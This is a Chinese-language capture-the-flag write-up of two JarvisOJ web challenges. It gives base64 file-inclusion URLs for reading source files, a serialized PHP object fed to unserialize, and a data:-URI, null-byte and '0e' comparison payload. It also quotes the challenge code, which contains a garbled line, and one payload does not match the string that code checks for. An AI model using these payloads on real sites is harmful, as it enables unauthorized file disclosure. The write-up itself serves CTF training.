JarvisOj平台做题总结(1)

  • [JarvisOj]神盾局的秘密
  • IN A Mess

[JarvisOj]神盾局的秘密

题目链接:http://web.jarvisoj.com:32768/
考察代码审计和文件包含漏洞= =

http://web.jarvisoj.com:32768/查看源代码

点击进入之后一看长成这样还以为是data伪协议对图片进行base64编码,传了半天事实证明我又想多了= =

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==

c2hpZWxkLmpwZw==解码是shield.jpg,文件包含漏洞将文件名进行base64编码传递进去,会打印出文件内容。

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
利用这个漏洞将showing.php打印出来

view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
打印index.php

利用同样的漏洞,
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
读取shield.php文件

Flag在pctf里面,还是和之前一样的方法,然鹅 File not found!
观察发现showimg.php 对”pctf” 做了过滤,还好在index.php中用class变量unserialize可以传入一个字符串反序列化的东西。

O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}
Payload:view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

最后得到flag: PCTF{I_4m_not_fl4g}

IN A Mess

题目链接:http://web.jarvisoj.com:32780
查看源码
提示index.phps

http://web.jarvisoj.com:32780/index.php?a=data:,1112 is a nice lab! &b=%00412311&id=0e123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
error_reporting(0);
if(!$_GET['id'])
{
    echo "hahahaha";
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo '23333';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="I want to join D0g3" and $id==0 and strlen($b)>5 and strlen($b)<7 and eregi($b,"1114"and substr($b,0,1)!=4)
{
    include "flag.php";
    echo "$f1ag";
}
else
{
    print "work harder!harder!harder!";
}
?>

参考知识点

php isset()与empty()的使用的区别
http://www.jb51.net/article/24666.htm
unserialize和serialize函数
http://www.jb51.net/article/112638.htm
data类型的Url格式:把小数据直接嵌入到Url中 - CSDN博客
http://blog.csdn.net/lxgwm2008/article/details/38437875